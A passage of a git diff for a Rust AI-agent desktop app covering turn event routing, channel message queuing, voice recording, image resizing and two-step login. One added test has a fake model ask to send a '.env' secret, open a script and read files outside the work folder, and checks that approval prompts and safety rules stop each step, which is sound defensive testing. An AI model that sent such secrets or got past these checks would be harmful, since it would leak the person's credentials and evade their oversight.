發布成公開網站「{name}」(任何知道網址的人都看得到)"), grant.clone()) { ApprovalAnswer::Once => allowed = true, ApprovalAnswer::Always(g) => { keep_grant(&mut grants, g); @@ -3149,6 +3280,82 @@ echo 'done送出了' > done.html; (setsid pyt assert!(result.contains("note.txt"), "{result}"); } + /// send_file and open_for_person take a file off a computer: they ask what reading it would + /// ask, refuse what reading it would refuse, and never start a program on the person's + /// screen. (Nothing here is sent or opened: every step is one that must be stopped.) + #[test] + fn a_file_leaves_a_computer_only_past_the_questions_of_reading_it() { + let w = std::env::temp_dir().join(format!("anybot-file-out-{}", std::process::id())); + let _ = std::fs::remove_dir_all(&w); + let (work, elsewhere) = (w.join("work"), w.join("elsewhere")); + std::fs::create_dir_all(&work).unwrap(); + std::fs::create_dir_all(&elsewhere).unwrap(); + std::fs::write(elsewhere.join("taxes.pdf"), "x").unwrap(); + std::fs::write(work.join("run.command"), "true\n").unwrap(); + std::fs::write(work.join(".env"), "KEY=x").unwrap(); + std::fs::write(work.join("report.txt"), "x").unwrap(); + let outside = elsewhere.join("taxes.pdf").display().to_string(); + let run = |local_execution: bool, replies: Vec<(&'static str, serde_json::Value)>| { + let port = fake_model(replies); + let job = Job { + req: ChatRequest { kind: ProviderKind::Custom, base_url: format!("http://127.0.0.1:{port}/v1"), api_key: String::new(), model: "m".into(), system: String::new(), history: vec![Message::user("把檔案給我")], tools: tools::specs(), session: String::new() }, + computers: vec![tools::Target { name: crate::model::THIS_COMPUTER_NAME.into(), place: tools::Place::Local { workdir: work.clone() } }], + default_computer: crate::model::THIS_COMPUTER_NAME.into(), + roles: tools::Roles { own: crate::model::BOT_COMPUTER_NAME.into(), person: Some(crate::model::THIS_COMPUTER_NAME.into()), server: false }, + local_execution, + via: "test".into(), + via_name: "Bot".into(), + ..test_job() + }; + let (tx, rx) = channel(); + spawn(job, 1, tx, Arc::new(AtomicBool::new(false)), eframe::egui::Context::default()); + let (mut asked, mut results, mut attached) = (vec![], vec![], 0); + loop { + match rx.recv_timeout(Duration::from_secs(10)).expect("loop stalled") { + (_, StreamEvent::NeedApproval(a)) => { + asked.push((a.kind, a.grant.clone(), a.reason.clone())); + let _ = a.reply.send(ApprovalAnswer::Reject); + } + (_, StreamEvent::ToolResult(m)) => results.push(m.text), + (_, StreamEvent::Attach(_)) => attached += 1, + (_, StreamEvent::Done) => break, + (_, StreamEvent::Error(e)) => panic!("{e}"), + _ => {} + } + } + (asked, results, attached) + }; + // Using this computer is on. Outside the work folder asks (the read_file grant); a + // script isn't opened; a secret isn't sent. + let (asked, results, attached) = run( + true, + vec![ + ("send_file", serde_json::json!({"path": outside})), + ("open_for_person", serde_json::json!({"path": outside})), + ("open_for_person", serde_json::json!({"path": "run.command"})), + ("send_file", serde_json::json!({"path": ".env"})), + ("", serde_json::json!("好")), + ], + ); + assert_eq!(asked.len(), 2, "{asked:?}\n{results:?}"); + for (kind, grant, reason) in &asked { + assert_eq!((kind, grant.as_str()), (&ApprovalKind::Action, "read:anywhere")); + assert!(reason.contains("taxes.pdf"), "{reason}"); + } + assert_eq!(results.len(), 4, "{results:?}"); + assert!(results[0].contains("使用者拒絕") && results[1].contains("使用者拒絕"), "{results:?}"); + assert!(results[2].contains("程式或指令檔"), "{results:?}"); + assert!(results[3].contains("被安全規則擋下"), "{results:?}"); + assert_eq!(attached, 0); + // Using this computer is off: even a file in the work folder is asked for. + let (asked, results, attached) = run(false, vec![("send_file", serde_json::json!({"path": "report.txt"})), ("", serde_json::json!("好"))]); + assert_eq!(asked.len(), 1, "{asked:?}\n{results:?}"); + assert!(asked[0].1.is_empty() && asked[0].2.contains("report.txt"), "{asked:?}"); + assert!(results[0].contains("使用者拒絕"), "{results:?}"); + assert_eq!(attached, 0); + let _ = std::fs::remove_dir_all(&w); + } + /// 需要處理: the model hands a step to the person; the card's request carries the instruction /// and the computer, 「我完成了」 tells the bot to carry on, 「跳過」 that the step is skipped. #[test] diff --git a/src/app.rs b/src/app.rs index 664e8c1..26ebd80 100644 --- a/src/app.rs +++ b/src/app.rs @@ -176,12 +176,19 @@ pub struct App { new_allow_rule: String, new_ask_rule: String, side_drag: Option, - tx: Sender<(u64, StreamEvent)>, - rx: Receiver<(u64, StreamEvent)>, + /// What the turns say: (bot, the turn's number, the event). The number is the turn's own + /// (`Live::turn`): a turn that was stopped can still have events on their way, and with + /// only the bot to go by they were taken for the next turn's — its text in the new answer, + /// its end ending the new turn. + tx: Sender<(u64, u64, StreamEvent)>, + rx: Receiver<(u64, u64, StreamEvent)>, + turn_seq: u64, show_settings: bool, settings_tab: SettingsTab, settings_provider: ProviderKind, edit_bot: Option<(Bot, bool)>, + /// The bot as its settings were opened (what 「儲存」 measures the person's changes against). + edit_bot_from: Option, confirm_delete: Option, model_fetch: HashMap, String>>>, fetch_status: HashMap, @@ -316,10 +323,12 @@ impl App { side_drag: None, tx, rx, + turn_seq: 0, show_settings: false, settings_tab: SettingsTab::General, settings_provider: ProviderKind::Xai, edit_bot: None, + edit_bot_from: None, confirm_delete: None, model_fetch: HashMap::new(), fetch_status: HashMap::new(), @@ -389,6 +398,7 @@ impl App { steer: Arc::new(Mutex::new(vec![agent::Queued::new("2026-06 的照片先不要動")])), direct: Arc::new(AtomicBool::new(false)), turn_id: "demo".into(), + turn: 0, }); // Optional view for checking the dialogs in a picture. match std::env::var("ANYBOT_SHOT_VIEW").as_deref() { @@ -896,7 +906,9 @@ impl App { let steer = Arc::new(Mutex::new(Vec::new())); let turn_id = format!("turn-{bot_id}-{}", chrono::Utc::now().timestamp_millis()); let direct = Arc::new(AtomicBool::new(self.direct_on())); - self.streams.insert(bot_id, Live { cancel: cancel.clone(), started: Instant::now(), last: Instant::now(), produced: false, status: None, paused: false, steer: steer.clone(), turn_id: turn_id.clone(), direct: direct.clone() }); + self.turn_seq += 1; + let turn = self.turn_seq; + self.streams.insert(bot_id, Live { cancel: cancel.clone(), started: Instant::now(), last: Instant::now(), produced: false, status: None, paused: false, steer: steer.clone(), turn_id: turn_id.clone(), direct: direct.clone(), turn }); self.stick_bottom = true; let review = self.state.auto_review.then(|| agent::Review { allow: self.state.review_allow_rules.clone(), ask: self.state.review_ask_rules.clone() }); let job = agent::Job { @@ -931,7 +943,19 @@ impl App { op: turn_id, log: (!self.demo).then(|| crate::oplog::OpLog::for_bot(bot_id)), }; - agent::spawn(job, bot_id, self.tx.clone(), cancel, ctx.clone()); + // The turn speaks into a channel of its own; what it says goes on to the window with + // the turn's number on it. + let (turn_tx, turn_rx) = channel::<(u64, StreamEvent)>(); + let (all, repaint) = (self.tx.clone(), ctx.clone()); + std::thread::spawn(move || { + for (id, ev) in turn_rx { + if all.send((id, turn, ev)).is_err() { + break; + } + repaint.request_repaint(); + } + }); + agent::spawn(job, bot_id, turn_tx, cancel, ctx.clone()); // (Its eyes start reading while it works; see face_pose.) self.mark(); } @@ -1257,7 +1281,9 @@ impl App { if self.streams.contains_key(&b.id) { continue; // fires once the bot is idle } - for r in b.routines.iter_mut().filter(|r| !r.paused) { + // (One that waits for an event has no clock: a time left on it by an older pause and + // resume must not run it every morning.) + for r in b.routines.iter_mut().filter(|r| !r.paused && r.trigger.is_none()) { if r.next_run.map(|t| t <= now).unwrap_or(false) { r.last_run = Some(now); r.next_run = crate::routines::next_run(&r.schedule, r.created_at, now); @@ -1506,7 +1532,7 @@ impl App { } fn drain_events(&mut self, ctx: &egui::Context) { - while let Ok((id, ev)) = self.rx.try_recv() { + while let Ok((id, turn, ev)) = self.rx.try_recv() { // 自己進化 arrives after the turn has ended: keep the skill, say so under the reply. if let StreamEvent::Learned(k, reply_at) = ev { let name = k.name.clone(); @@ -1517,8 +1543,9 @@ impl App { self.dirty = true; continue; } - // A stopped request may still deliver a few pieces; ignore them. - if !self.streams.contains_key(&id) { + // A stopped request may still deliver a few pieces; ignore them — also when the + // bot has a new turn running by now. + if self.streams.get(&id).map(|l| l.turn) != Some(turn) { continue; } let selected = self.state.selected; @@ -2568,7 +2595,7 @@ impl App { send_now = true; } self.attachments_poll(ctx, bot.id, had_focus); - self.voice_poll(); + self.voice_poll(ctx); let mut draft = self.drafts.remove(&bot.id).unwrap_or_default(); ui.add_space(4.0); // Quote and attachments sit just above the pill. @@ -2873,7 +2900,7 @@ impl App { "toggle" => { if let Some(r) = b.routines.iter_mut().find(|r| r.id == id) { r.paused = !r.paused; - r.next_run = crate::routines::next_run(&r.schedule, r.created_at, now); + r.next_run = if r.trigger.is_some() { None } else { crate::routines::next_run(&r.schedule, r.created_at, now) }; } } "run" => { @@ -2950,7 +2977,14 @@ impl App { // ---------- dialogs ---------- fn bot_editor(&mut self, ctx: &egui::Context) { - let Some((mut b, is_new)) = self.edit_bot.take() else { return }; + let Some((mut b, is_new)) = self.edit_bot.take() else { + self.edit_bot_from = None; + return; + }; + // (Kept on the editor's first frame, before anything in it can have been changed.) + if self.edit_bot_from.as_ref().map(|f| f.id) != Some(b.id) { + self.edit_bot_from = Some(b.clone()); + } let p = self.pal; let mut save = false; let mut cancel = false; @@ -3176,14 +3210,23 @@ impl App { self.state.selected = b.id; self.state.bots.push(b); } else if let Some(slot) = self.state.bot_mut(b.id) { - // Keep messages that arrived while the editor was open. - let msgs = std::mem::take(&mut slot.messages); - *slot = b; - slot.messages = msgs; + // Only what was changed here: what the bot got while the editor was open + // (messages, memories, 「永遠允許」, routines, conversations put aside) stays. + match self.edit_bot_from.take() { + Some(from) => slot.take_edit(from, b), + None => { + let msgs = std::mem::take(&mut slot.messages); + *slot = b; + slot.messages = msgs; + } + } } + self.edit_bot_from = None; self.mark(); } else if open && !cancel { self.edit_bot = Some((b, is_new)); + } else { + self.edit_bot_from = None; } } @@ -3730,7 +3773,8 @@ impl App { } /// `anybot --serve` with ANYBOT_ACCOUNT=url|user and ANYBOT_ACCOUNT_PASSWORD: join the account - /// (and, with ANYBOT_RESTORE_FROM_ACCOUNT=1, start once from the newest backup). + /// (and, with ANYBOT_RESTORE_FROM_ACCOUNT=1, start once from the newest backup). An account + /// with 兩步驗證 on also needs ANYBOT_ACCOUNT_CODE (a recovery code: it is used once). fn serve_join(&mut self) { let (Ok(acct), Ok(pw)) = (std::env::var("ANYBOT_ACCOUNT"), std::env::var("ANYBOT_ACCOUNT_PASSWORD")) else { return }; if !self.state.remote.host_token.is_empty() { @@ -3738,10 +3782,11 @@ impl App { } let Some((url, user)) = acct.rsplit_once('|') else { return }; // ANYBOT_ACCOUNT_CREATE=1 (the server's own brain, first start): make the account if it isn't there. - let mut r = crate::remote::relay_join(&self.state.remote, url, user, &pw, false, ""); + let code = std::env::var("ANYBOT_ACCOUNT_CODE").unwrap_or_default(); + let mut r = crate::remote::relay_join(&self.state.remote, url, user, &pw, false, "", &code); if r.is_err() && std::env::var("ANYBOT_ACCOUNT_CREATE").map(|v| v == "1").unwrap_or(false) { let invite = std::env::var("ANYBOT_RELAY_INVITE").unwrap_or_default(); - if let Ok(s) = crate::remote::relay_join(&self.state.remote, url, user, &pw, true, &invite) { + if let Ok(s) = crate::remote::relay_join(&self.state.remote, url, user, &pw, true, &invite, &code) { eprintln!("AnyBot:已建立帳號 {user}"); r = Ok(s); } @@ -3759,7 +3804,7 @@ impl App { } let marker = State::path().with_file_name("restored-from-account"); if std::env::var("ANYBOT_RESTORE_FROM_ACCOUNT").map(|v| v == "1").unwrap_or(false) && !marker.exists() { - match crate::remote::restore(url, user, &pw).and_then(|b| serde_json::from_slice::(&b).map_err(|e| e.to_string())) { + match crate::remote::restore(url, user, &pw, &code).and_then(|b| serde_json::from_slice::(&b).map_err(|e| e.to_string())) { Ok(mut st) => { st.remote = self.state.remote.clone(); eprintln!("AnyBot:已從帳號備份接手 {} 個 Bot", st.bots.len()); @@ -4109,6 +4154,8 @@ struct Live { turn_id: String, /// 直接操作 for this turn (switched on mid-turn by "全部允許"). direct: Arc, + /// This turn's number: its events carry it. + turn: u64, } /// How an "always allow" grant reads in the UI. diff --git a/src/app/attach_ui.rs b/src/app/attach_ui.rs index 97b72c6..e193d33 100644 --- a/src/app/attach_ui.rs +++ b/src/app/attach_ui.rs @@ -61,10 +61,22 @@ impl App { self.add_attachment_paths(id, paths); } } - // ⌘V with no text on the clipboard: maybe a picture. + // ⌘V with no text on the clipboard: maybe a picture. The window answers the paste keys + // itself and hands over the picture (no V key arrives for ⌘V); a V key with ⌘ that does + // arrive (⌘⇧V) looks at the clipboard as before. let pasted_text = ctx.input(|i| i.events.iter().any(|e| matches!(e, egui::Event::Paste(t) if !t.is_empty()))); + let pasted_image = ctx.input(|i| i.events.iter().find_map(|e| if let egui::Event::PasteImage(img) = e { Some(img.clone()) } else { None })); let cmd_v = ctx.input(|i| i.events.iter().any(|e| matches!(e, egui::Event::Key { key: Key::V, pressed: true, modifiers, .. } if modifiers.command))); - if composer_focused && cmd_v && !pasted_text && !self.demo { + if !composer_focused || self.demo { + return; + } + if let Some(img) = pasted_image { + let rgba: Vec = img.pixels.iter().flat_map(|c| c.to_srgba_unmultiplied()).collect(); + match attach::store_pasted(bot_id, img.size, rgba) { + Ok(a) => self.att.pending.entry(bot_id).or_default().push(a), + Err(e) => self.att.error = Some(e), + } + } else if cmd_v && !pasted_text { if let Some(a) = attach::paste_image(bot_id) { self.att.pending.entry(bot_id).or_default().push(a); } @@ -209,23 +221,7 @@ impl App { /// The mic button: start, or stop and turn the recording into text. pub(super) fn voice_toggle(&mut self, ctx: &egui::Context, bot_id: u64) { - if let Some((id, rec)) = self.att.voice.take() { - let lang = self.state.bot(id).map(|b| b.voice_lang.clone()).unwrap_or_default(); - let ps = self.state.provider(ProviderKind::OpenAi); - let base = providers::resolve_base(ProviderKind::OpenAi, &ps.base_url); - let key = providers::resolve_key(ProviderKind::OpenAi, &ps.api_key); - let (tx, rx) = channel(); - self.att.voice_rx = Some(rx); - let c = ctx.clone(); - std::thread::spawn(move || { - let r = rec.finish().and_then(|f| { - let t = crate::voice::transcribe_lang(&base, &key, &f, &lang); - let _ = std::fs::remove_file(&f); - t - }); - let _ = tx.send((id, r)); - c.request_repaint(); - }); + if self.voice_stop(ctx) { return; } crate::voice::stop_speaking(); @@ -235,6 +231,28 @@ impl App { } } + /// Stop the recording that is running and turn it into text (false: none was running). + fn voice_stop(&mut self, ctx: &egui::Context) -> bool { + let Some((id, rec)) = self.att.voice.take() else { return false }; + let lang = self.state.bot(id).map(|b| b.voice_lang.clone()).unwrap_or_default(); + let ps = self.state.provider(ProviderKind::OpenAi); + let base = providers::resolve_base(ProviderKind::OpenAi, &ps.base_url); + let key = providers::resolve_key(ProviderKind::OpenAi, &ps.api_key); + let (tx, rx) = channel(); + self.att.voice_rx = Some(rx); + let c = ctx.clone(); + std::thread::spawn(move || { + let r = rec.finish().and_then(|f| { + let t = crate::voice::transcribe_lang(&base, &key, &f, &lang); + let _ = std::fs::remove_file(&f); + t + }); + let _ = tx.send((id, r)); + c.request_repaint(); + }); + true + } + /// 會議記錄: a long recording that becomes a transcript for the bot to summarize. pub(super) fn start_meeting(&mut self, ctx: &egui::Context, bot_id: u64) { if self.att.voice.is_some() { @@ -252,15 +270,13 @@ impl App { } /// Put the text where the person was typing. - pub(super) fn voice_poll(&mut self) { + pub(super) fn voice_poll(&mut self, ctx: &egui::Context) { let max = if self.att.meeting { crate::voice::MEETING_MAX_SECS } else { crate::voice::MAX_SECS }; - if let Some((started, max)) = self.att.voice.as_ref().map(|(_, r)| (r.started, max)) { - if started.elapsed().as_secs() >= max { - if let Some((_, r)) = self.att.voice.take() { - r.cancel(); - } - self.att.error = Some("錄音最長 10 分鐘,已經停止。".into()); - } + if self.att.voice.as_ref().is_some_and(|(_, r)| r.started.elapsed().as_secs() >= max) { + // What was recorded up to the limit is kept and turned into text like any + // recording (it was thrown away: two hours of a meeting, gone at the last second). + self.voice_stop(ctx); + self.att.error = Some(format!("錄音最長 {},已經停止;錄到的部分正在轉成文字。", crate::voice::length_words(max))); } let Some(rx) = &self.att.voice_rx else { return }; if let Ok((id, r)) = rx.try_recv() { diff --git a/src/app/channels_ui.rs b/src/app/channels_ui.rs index b5bf072..696e1e2 100644 --- a/src/app/channels_ui.rs +++ b/src/app/channels_ui.rs @@ -3,12 +3,15 @@ use super::*; use crate::channels::{self, Channel, Incoming, Kind, ReplyTo}; +use std::collections::VecDeque; pub struct ChannelUi { pub tx: Sender, pub rx: Receiver, /// Where each bot's current answer goes back to. pub replies: HashMap>, + /// Messages that came while their bot was busy: each waits for a turn of its own. + waiting: VecDeque, new_kind: Kind, new_name: String, new_token: String, @@ -36,10 +39,25 @@ impl Default for ChannelUi { fn default() -> Self { let (tx, rx) = channel(); let (trig_tx, trig_rx) = channel(); - ChannelUi { tx, rx, replies: HashMap::new(), new_kind: Kind::Telegram, new_name: String::new(), new_token: String::new(), new_target: String::new(), new_bot: 0, note: Default::default(), started: false, trig_tx, trig_rx, trig_sig: String::new(), new_client: String::new(), new_tenant: String::new(), ms_login: Default::default(), mcp_sig: String::new(), mcp_errors: Default::default(), mcp_busy: Default::default(), new_mcp: Default::default(), focus_market: false } + ChannelUi { tx, rx, replies: HashMap::new(), waiting: VecDeque::new(), new_kind: Kind::Telegram, new_name: String::new(), new_token: String::new(), new_target: String::new(), new_bot: 0, note: Default::default(), started: false, trig_tx, trig_rx, trig_sig: String::new(), new_client: String::new(), new_tenant: String::new(), ms_login: Default::default(), mcp_sig: String::new(), mcp_errors: Default::default(), mcp_busy: Default::default(), new_mcp: Default::default(), focus_market: false } } } +/// The waiting messages whose turn can start now: the oldest one of each bot that is free, in +/// the order they came. The rest stay, in order. +fn ready_messages(waiting: &mut VecDeque, busy: impl Fn(u64) -> bool) -> Vec { + let (mut ready, mut later): (Vec, VecDeque) = (vec![], VecDeque::new()); + while let Some(m) = waiting.pop_front() { + if busy(m.bot_id) || ready.iter().chain(later.iter()).any(|w| w.bot_id == m.bot_id) { + later.push_back(m); + } else { + ready.push(m); + } + } + *waiting = later; + ready +} + impl App { pub(super) fn channels_restart(&mut self, ctx: &egui::Context) { if self.demo { @@ -94,14 +112,35 @@ impl App { } } while let Ok(m) = self.ch.rx.try_recv() { - if self.state.bot(m.bot_id).is_none() { - continue; - } + self.ch.waiting.push_back(m); + } + self.ch.waiting.retain(|m| self.state.bot(m.bot_id).is_some()); + // A message from a channel gets a turn of its own, when its bot is free. It used to be + // dropped into whatever turn was running, and that turn's answer (to the person's own + // question at the desk, say) was what went out to the channel. + let mut waiting = std::mem::take(&mut self.ch.waiting); + let ready = ready_messages(&mut waiting, |id| { + self.streams.contains_key(&id) + || self.ch.replies.contains_key(&id) + || self.group_next.contains(&id) + || self.pending_turns.iter().any(|(b, _)| *b == id) + || self.group_queue.get(&id).is_some_and(|q| !q.is_empty()) + }); + self.ch.waiting = waiting; + for m in ready { let text = format!("[訊息管道]{}「{}」的 {}:{}", m.reply.kind.label(), m.reply.channel_name, m.from, m.text); self.ch.replies.entry(m.bot_id).or_default().push(m.reply.clone()); self.wake(ctx, m.bot_id, Message { wake: true, ..Message::user(&text) }); + // No turn started (a group with nobody in it): nothing will answer, so no later + // turn's answer may go there either. (A screen's turns run on its brain.) + if !self.streams.contains_key(&m.bot_id) && !self.mir.on { + self.ch.replies.remove(&m.bot_id); + } self.dirty = true; } + if !self.ch.waiting.is_empty() { + ctx.request_repaint_after(std::time::Duration::from_millis(500)); + } } /// The turn ended: send its answer back where the message came from. @@ -443,3 +482,24 @@ impl App { } } } + +#[cfg(test)] +mod tests { + use super::*; + + /// A message from a channel never joins a turn that is running: it waits for its own. + #[test] + fn a_channel_message_waits_for_a_turn_of_its_own() { + let msg = |bot_id: u64, text: &str| Incoming { bot_id, from: "ann".into(), text: text.into(), reply: ReplyTo { kind: Kind::Telegram, token: String::new(), target: "1".into(), thread: String::new(), channel_name: "c".into() } }; + let texts = |v: &[Incoming]| v.iter().map(|m| m.text.clone()).collect::>(); + let mut waiting: VecDeque = [msg(1, "a"), msg(2, "b"), msg(1, "c"), msg(3, "d")].into(); + // Bot 2 is in the middle of the person's own question: its message stays. + let ready = ready_messages(&mut waiting, |id| id == 2); + assert_eq!(texts(&ready), ["a", "d"]); + assert_eq!(texts(&waiting.iter().cloned().collect::>()), ["b", "c"]); + // Later, everyone is free: one message each, the oldest first. + let ready = ready_messages(&mut waiting, |_| false); + assert_eq!(texts(&ready), ["b", "c"]); + assert!(waiting.is_empty()); + } +} diff --git a/src/app/computers_ui.rs b/src/app/computers_ui.rs index 1248547..f8cd93f 100644 --- a/src/app/computers_ui.rs +++ b/src/app/computers_ui.rs @@ -48,6 +48,9 @@ pub struct ComputerUi { teach_for: Option, teach_error: String, schedule_edit: String, + /// The time is being typed: the field shows what was typed, not what is saved (it showed + /// the saved time again every frame, so with 自動更新 on the time could not be changed). + schedule_typing: bool, pub update_ready: bool, update_checked: Option, update_flag: Arc, @@ -378,7 +381,8 @@ impl App { let update_ready = self.cu.update_ready; let working: Vec = self.streams.keys().filter_map(|id| self.state.bot(*id).map(|b| b.name.clone())).collect(); let mut on = cloudbox::auto_update_at().is_some(); - let mut at = cloudbox::auto_update_at().unwrap_or_else(|| self.cu.schedule_edit.clone()); + let mut at = if self.cu.schedule_typing { self.cu.schedule_edit.clone() } else { cloudbox::auto_update_at().unwrap_or_else(|| self.cu.schedule_edit.clone()) }; + let mut typed = false; if at.is_empty() { at = "03:00".into(); } @@ -483,6 +487,7 @@ impl App { sec_row_s(ui, p, "自動更新", &desc, "有新映像檔可用時,電腦會在你選的時間自動更新;錯過的話一小時內還會補做。開始後不能取消;有 Bot 在用電腦時會等它做完。", |ui| { let changed = ui.add(toggle(&mut on)).changed(); let r = ui.add(egui::TextEdit::singleline(&mut at).desired_width(56.0).char_limit(5).font(egui::TextStyle::Monospace)); + typed |= r.changed(); if changed || r.lost_focus() { schedule_changed = true; } @@ -519,8 +524,13 @@ impl App { sec_note(ui, p, ¬e); } }); - if schedule_changed && chrono::NaiveTime::parse_from_str(at.trim(), "%H:%M").is_ok() { - cloudbox::set_auto_update_at(on.then(|| at.trim().to_string())); + self.cu.schedule_typing |= typed; + if schedule_changed { + // Done typing: a real time is saved; anything else gives way to the saved one. + if chrono::NaiveTime::parse_from_str(at.trim(), "%H:%M").is_ok() { + cloudbox::set_auto_update_at(on.then(|| at.trim().to_string())); + } + self.cu.schedule_typing = false; } self.cu.schedule_edit = at; match act { diff --git a/src/app/files_ui.rs b/src/app/files_ui.rs index e980181..f95828b 100644 --- a/src/app/files_ui.rs +++ b/src/app/files_ui.rs @@ -136,7 +136,23 @@ fn start_job(kind: &str, path: &str) -> Option>> { Some(job) } -fn texture(ctx: &egui::Context, name: &str, img: &image::RgbaImage) -> egui::TextureHandle { +/// The size a picture is shown at when a side is longer than `max` (None: it fits as it is). +fn fitted(w: u32, h: u32, max: u32) -> Option<(u32, u32)> { + let long = w.max(h); + if long <= max || max == 0 { + return None; + } + let side = |v: u32| ((v as u64 * max as u64 / long as u64) as u32).clamp(1, max); + Some((side(w), side(h))) +} + +/// A picture for the window to draw. One with a side longer than the graphics card takes (a +/// panorama, a whole-page screenshot: past 8192 or 16384 pixels, by the card) is made smaller +/// first — handed over whole, the window closed with a crash. +pub(super) fn texture(ctx: &egui::Context, name: &str, img: &image::RgbaImage) -> egui::TextureHandle { + let max = ctx.input(|i| i.max_texture_side) as u32; + let small = fitted(img.width(), img.height(), max).map(|(w, h)| image::imageops::resize(img, w, h, image::imageops::FilterType::Triangle)); + let img = small.as_ref().unwrap_or(img); let size = [img.width() as usize, img.height() as usize]; ctx.load_texture(name, egui::ColorImage::from_rgba_unmultiplied(size, img.as_raw()), egui::TextureOptions::LINEAR) } @@ -790,3 +806,19 @@ fn big_file_icon(painter: &egui::Painter, r: egui::Rect, name: &str, p: Palette) painter.rect_filled(tile, 10, col.gamma_multiply(0.16)); crate::icons::paint(painter, egui::Rect::from_center_size(tile.center(), vec2(22.0, 22.0)), crate::icons::for_file(name), col); } + +#[cfg(test)] +mod tests { + use super::*; + + /// A picture longer than the graphics card takes is shown smaller, in its own shape. + #[test] + fn a_picture_too_long_for_the_card_is_made_to_fit() { + assert_eq!(fitted(4000, 3000, 8192), None); + assert_eq!(fitted(8192, 8192, 8192), None); + assert_eq!(fitted(16384, 4096, 8192), Some((8192, 2048))); + assert_eq!(fitted(1290, 30000, 8192), Some((352, 8192))); + assert_eq!(fitted(100_000, 1, 2048), Some((2048, 1)), "never a side of nothing"); + assert_eq!(fitted(100, 100, 0), None, "no limit known yet"); + } +} diff --git a/src/app/markdown_ui.rs b/src/app/markdown_ui.rs index fd4e208..b4cd479 100644 --- a/src/app/markdown_ui.rs +++ b/src/app/markdown_ui.rs @@ -804,7 +804,7 @@ impl App { let d = match done { Ok(img) => { let size = vec2(img.width() as f32 / 2.0, img.height() as f32 / 2.0); - let tex = ui.ctx().load_texture(format!("mermaid-{key}"), egui::ColorImage::from_rgba_unmultiplied([img.width() as usize, img.height() as usize], img.as_raw()), egui::TextureOptions::LINEAR); + let tex = super::files_ui::texture(ui.ctx(), &format!("mermaid-{key}"), &img); Diagram::Ready(tex, size) } Err(e) => Diagram::Failed(e), diff --git a/src/app/mirror_ui.rs b/src/app/mirror_ui.rs index 0461eaf..194e1dc 100644 --- a/src/app/mirror_ui.rs +++ b/src/app/mirror_ui.rs @@ -1016,6 +1016,7 @@ impl App { steer: Arc::default(), turn_id: String::new(), direct: Arc::default(), + turn: 0, }); l.status = status; l.paused = paused; diff --git a/src/app/remote_ui.rs b/src/app/remote_ui.rs index 326dead..d109c0b 100644 --- a/src/app/remote_ui.rs +++ b/src/app/remote_ui.rs @@ -23,6 +23,9 @@ pub struct RemoteUi { pass: String, invite: String, create: bool, + /// 兩步驗證: the code that goes with the password, asked once the account said it has it on. + code: String, + need_code: bool, pub(super) note: Arc>, join_rx: Option>>, restore_rx: Option, String>>>, @@ -106,10 +109,17 @@ impl App { Ok((s, found)) => { self.state.remote = s; self.rm.pass.clear(); + self.rm.code.clear(); + self.rm.need_code = false; self.account_sync(found); self.mark(); } - Err(e) => *self.rm.note.lock().unwrap() = e, + Err(e) => { + self.rm.need_code |= e.starts_with(remote::NEED_CODE); + // (A code is good for one try.) + self.rm.code.clear(); + *self.rm.note.lock().unwrap() = e; + } } } } @@ -125,7 +135,11 @@ impl App { self.state.save(); *self.rm.note.lock().unwrap() = format!("已從備份還原 {n} 個 Bot"); } - Err(e) => *self.rm.note.lock().unwrap() = e, + Err(e) => { + self.rm.need_code |= e.starts_with(remote::NEED_CODE); + self.rm.code.clear(); + *self.rm.note.lock().unwrap() = e; + } } } } @@ -600,6 +614,11 @@ impl App { form_row(ui, "密碼", p, |ui| { ui.add(egui::TextEdit::singleline(&mut self.rm.pass).password(true).desired_width(f32::INFINITY)); }); + if self.rm.need_code { + form_row(ui, "驗證碼", p, |ui| { + ui.add(egui::TextEdit::singleline(&mut self.rm.code).hint_text(t("驗證器 App 的六位碼,或一組恢復碼")).desired_width(f32::INFINITY)); + }); + } ui.checkbox(&mut self.rm.create, t("建立新帳號")); if self.rm.create { form_row(ui, "邀請碼", p, |ui| { @@ -611,11 +630,11 @@ impl App { if ui.add_enabled(ready && !busy, primary_button(if busy { "連線中…" } else if self.rm.create { "建立並登入" } else { "登入" }, p)).clicked() { let (tx, rx) = channel(); self.rm.join_rx = Some(rx); - let (url, user, pass, create, invite, base) = (self.rm.relay_url.clone(), self.rm.user.trim().to_string(), self.rm.pass.clone(), self.rm.create, self.rm.invite.clone(), self.state.remote.clone()); + let (url, user, pass, create, invite, base, code) = (self.rm.relay_url.clone(), self.rm.user.trim().to_string(), self.rm.pass.clone(), self.rm.create, self.rm.invite.clone(), self.state.remote.clone(), self.rm.code.clone()); std::thread::spawn(move || { // Signed in: look right away for the bots the account already has. - let r = remote::relay_join(&base, &url, &user, &pass, create, &invite).map(|s| { - let found = remote::find_account_bots(&s, &pass); + let r = remote::relay_join(&base, &url, &user, &pass, create, &invite, &code).map(|s| { + let found = remote::find_account_bots(&s, &pass, &code); (s, found) }); let _ = tx.send(r); @@ -624,9 +643,9 @@ impl App { if ui.add_enabled(ready && self.rm.restore_rx.is_none(), secondary_button("從帳號備份還原")).on_hover_text(t("把這台電腦的 Bot 換成帳號裡最新的備份")).clicked() { let (tx, rx) = channel(); self.rm.restore_rx = Some(rx); - let (url, user, pass) = (self.rm.relay_url.clone(), self.rm.user.trim().to_string(), self.rm.pass.clone()); + let (url, user, pass, code) = (self.rm.relay_url.clone(), self.rm.user.trim().to_string(), self.rm.pass.clone(), self.rm.code.clone()); std::thread::spawn(move || { - let _ = tx.send(remote::restore(&url, &user, &pass)); + let _ = tx.send(remote::restore(&url, &user, &pass, &code)); }); } }); @@ -981,8 +1000,9 @@ impl App { } // The actions a bot can take on the app (the same appctl path as its tools). "app" => { - const ALLOWED: [&str; 15] = [ - "create_bot", "update_bot", "remember", "forget", "save_skill", "delete_skill", "create_routine", "update_routine", + // (skillify and skill_install are the phone's 「教我做」 and 「從網址安裝技能」.) + const ALLOWED: [&str; 17] = [ + "create_bot", "update_bot", "remember", "forget", "save_skill", "delete_skill", "skillify", "skill_install", "create_routine", "update_routine", "delete_routine", "run_routine_now", "create_group", "move_to_group", "rename_group", "delete_group", "update_settings", ]; let name = s("name"); diff --git a/src/appctl.rs b/src/appctl.rs index bf269aa..fe59ca7 100644 --- a/src/appctl.rs +++ b/src/appctl.rs @@ -73,7 +73,7 @@ pub fn specs() -> Vec { vec![ json!({"name": "list_routines", "description": "List this bot's routines (scheduled, repeating tasks).", "parameters": {"type": "object", "properties": {}}}), json!({"name": "remember", "description": "Keep a fact or preference the person wants you to remember across chats.", "parameters": {"type": "object", "properties": {"fact": {"type": "string"}}, "required": ["fact"]}}), - json!({"name": "forget", "description": "Forget a 